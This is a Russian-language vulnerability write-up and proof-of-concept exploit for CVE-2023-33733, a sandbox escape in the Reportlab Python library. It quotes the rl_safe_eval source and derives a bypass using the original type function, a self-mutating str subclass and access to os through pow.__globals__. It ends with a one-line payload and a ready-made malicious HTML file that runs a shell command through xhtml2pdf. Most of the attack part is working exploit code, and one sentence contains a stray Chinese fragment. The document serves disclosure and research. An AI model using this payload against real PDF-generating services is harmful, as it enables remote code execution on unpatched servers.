
Подробный технический разбор и эксплойт proof-of-concept для CVE-2023-33733 — уязвимости удалённого выполнения кода в Python-библиотеке Reportlab через обход песочницы при обработке HTML-to-PDF.
tl;dr В этом отчете подробно описано, как была найдена и использована RCE в Reportlab. Из-за распространенности Reportlab в обработке HTML в PDF, эта уязвимость может быть доступна во многих приложениях, обрабатывающих PDF-файлы, что делает ее важной для исправления и отслеживания.
Несколько дней назад во время аудита веб-приложения мы заметили, что приложение использует библиотеку Python Reportlab для динамического создания PDF-файлов из HTML-ввода. Было обнаружено, что Reportlab имеет ранее исправленную уязвимость, приводящую к выполнению кода. Это означает, что найти обходной путь для исправления было довольно интересно с точки зрения злоумышленника, так как это привело бы к повторному обнаружению выполнения кода, особенно потому что библиотека Reportlab также используется в других приложениях и инструментах.
Прежде всего, краткий обзор: Reportlab — это проект с открытым исходным кодом, который позволяет создавать документы в формате Adobe Portable Document Format (PDF) с использованием языка программирования Python. Он также создает диаграммы и графики данных в различных растровых и векторных форматах, а также в PDF.
Библиотека известна тем, что в 2019 году эксплойт, похожий на этот, приводил к удаленному выполнению кода через атрибут Color HTML-тегов; содержимое атрибута напрямую вычислялось как выражение Python с помощью функции eval, что приводило к выполнению кода. Чтобы смягчить проблему, Reportlab реализовал песочницу, назвав ее , которая лишена всех встроенных функций Python и имеет несколько переопределенных встроенных функций, чтобы разрешить выполнение безопасного кода библиотеки, одновременно блокируя доступ к любым опасным функциям и библиотекам, которые могут привести к созданию опасного кода Python:
rl_safe_evalПример таких мер предотвращения: встроенная функция getattr переопределяется ограниченной функцией __rl_getitem__, которая запрещает доступ к любым опасным атрибутам объектов, например начинающимся с __:
class __RL_SAFE_ENV__(object):
__time_time__ = time.time
__weakref_ref__ = weakref.ref
__slicetype__ = type(slice(0))
def __init__(self, timeout=None, allowed_magic_methods=None):
self.timeout = timeout if timeout is not None else self.__rl_tmax__
self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
else allowed_magic_methods) if allowed_magic_methods else []
#[...]
# В ЭТОЙ СТРОКЕ МОЖНО УВИДЕТЬ, ЧТО ВСТРОЕННЫЙ GETATTR ЗАМЕНЕН НА ПОЛЬЗОВАТЕЛЬСКУЮ ФУНКЦИЮ,
# КОТОРАЯ ПРОВЕРЯЕТ БЕЗОПАСНОСТЬ ПЕРЕДАННОГО ИМЕНИ АТРИБУТА ПЕРЕД ЕГО ПОЛУЧЕНИЕМ
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
#[...]
def __rl_getattr__(self, obj, a, *args):
if isinstance(obj, strTypes) and a=='format':
raise BadCode('%s.format is not implemented' % type(obj))
# ВЫПОЛНЯЕТСЯ НЕСКОЛЬКО ПРОВЕРОК ПЕРЕД ПОЛУЧЕНИЕМ АТРИБУТА И ЕГО ВОЗВРАТОМ
# ВЫЗЫВАЮЩЕМУ В СРЕДЕ EVAL ПЕСОЧНИЦЫ
self.__rl_is_allowed_name__(a)
return getattr(obj,a,*args)
def __rl_is_allowed_name__(self, name):
"""Проверяет, разрешены ли имена.
Если ``allow_magic_methods is True``, имена в `__allowed_magic_methods__`
дополнительно разрешены, хотя их имена начинаются с `_`.
"""
if isinstance(name,strTypes):
# НЕТ ДОСТУПА К АТРИБУТАМ, НАЧИНАЮЩИМСЯ С __ ИЛИ СОВПАДАЮЩИМ С ПРЕДОПРЕДЕЛЕННЫМИ НЕБЕЗОПАСНЫМИ ИМЕНАМИ
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
Безопасный eval, как описано выше, очищает среду от всех опасных функций, так что выполняемый код не имеет доступа к опасным инструментам, которые можно использовать для выполнения вредоносных действий. Однако, если найден обходной путь для этих ограничений и получен доступ к одной из оригинальных встроенных функций, это значительно облегчит эксплуатацию среды песочницы.
Одним из многих переопределенных встроенных классов является type. Если этот класс вызывается с одним аргументом, он возвращает тип объекта. Однако, если он вызывается с тремя аргументами, он возвращает новый объект типа. Это, по сути, динамическая форма оператора class. Другими словами, это может позволить создать новый класс, наследующий от другого класса.
Итак, идея состоит в том, чтобы создать новый класс с именем Word, наследующий от str, который при передаче в пользовательский getattr обходит проверки и позволяет получить доступ к чувствительным атрибутам, таким как __code__.
Перед тем, как пользовательский getattr в sandboxed eval вернет атрибут, он выполняет некоторые проверки, вызывая __rl_is_allowed_name__, чтобы проверить безопасность вызываемого атрибута, прежде чем вызвать встроенный Python getattr и вернуть результат.
def __rl_is_allowed_name__(self, name):
"""Проверяет, разрешены ли имена.
Если ``allow_magic_methods is True``, имена в `__allowed_magic_methods__`
дополнительно разрешены, хотя их имена начинаются с `_`.
"""
if isinstance(name,strTypes):
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
Чтобы обойти функцию __rl_is_allowed_name__, класс Word должен:
False для вызовов функции startswith, чтобы обойти (name.startswith('__')False при первом вызове __eq__, чтобы обойти name in __rl_unsafe__; после первого вызова он должен возвращать правильный ответ, потому что когда __eq__ вызывается встроенным Python getattr, он должен вернуть правильный результат.Следующий класс удовлетворяет этим критериям:
Word = type('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
code = Word('__code__')
print(code == '__code__') ## prints False
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code.startswith('__')) ## prints False
Пользовательская функция type в безопасном eval не позволяет передавать ей три аргумента:
def __rl_type__(self,*args):
if len(args)==1: return type(*args)
raise BadCode('type call error')
Обходной путь был найден путем вызова type на самом себе, что позволяет получить оригинальную встроенную функцию type:
orgTypeFun = type(type(1))
Объединение этих двух строк кода даст примерно следующее:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
Оригинальный эксплойт имел несколько недостатков, которые делали его эксплуатируемым только на Python 3.10. Чтобы решить эти проблемы, был разработан новый подход для доступа к модулю os Python.
Библиотека Reportlab переопределяет реализацию нескольких встроенных функций и внедряет их как globals в контекст eval.
Пример встроенных функций, переопределенных пользовательскими функциями в rl_safe_eval.py:
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
__rl_builtins__['iter'] = self.__rl_getiter__
__rl_builtins__['pow'] = self.__rl_pow__
__rl_builtins__['list'] = self.__rl_list__
__rl_builtins__['type'] = self.__rl_type__
__rl_builtins__['max'] = self.__rl_max__
Поскольку эти функции созданы в глобальном контексте, глобальные переменные и модули можно получить через атрибут __globals__ этих пользовательских функций.
Следующий код должен выполняться внутри контекста eval
globalOsModule = pow.__globals__['os']
globalOsModule.system('touch /tmp/exploited')
Теперь осталось написать эксплойт:
Для этого будет реконструирована функция из байт-кода скомпилированной:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self))
})
globalsattr = Word('__globals__')
glbs = getattr(pow,globalsattr)
glbs['os'].system('touch /tmp/exploited')
Однако такое многострочное выражение не будет выполнено в контексте eval. Чтобы обойти эту проблему, можно использовать трюк с list comprehension, например:
[print(x) for x in ['hellworld']]
# что эквивалентно
x='helloworld'
print(x)
[[ print (x + ' ' + y) for y in ['second var']] for x in ['first var']]
# что эквивалентно
x='first var'
x='second var'
print (x + ' ' + y)
Используя этот метод, код эксплойта можно переписать в одну строку следующим образом (это считается одной строкой x) многострочное форматирование здесь只是为了 повышения читаемости эксплойта; объявления следует читать снизу вверх x) странно, но так работает):
[
[
getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
for Word in [
orgTypeFun(
'Word',
(str,),
{
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate()
and self.mutated < 0
and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self)),
},
)
]
]
for orgTypeFun in [type(type(1))]
]
Пожалуйста, обратитесь к файлу poc.py; он содержит доказательство концепции, демонстрирующее выполнение кода (при успешной эксплуатации в /tmp создается файл с именем exploited).
Многие приложения и библиотеки используют библиотеку Reportlab, например, утилита xhtml2pdf уязвима и может быть подвержена выполнению кода при преобразовании вредоносного HTML в PDF
cat >mallicious.html <<EOF
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
EOF
xhtml2pdf mallicious.html
ls -al /tmp/exploited
Я хочу поблагодарить Matthias Weckbecker за сотрудничество и отличный обмен мнениями по поводу недостатков оригинального эксплойта. Теперь эксплойт без проблем работает на всех версиях Python 3 :D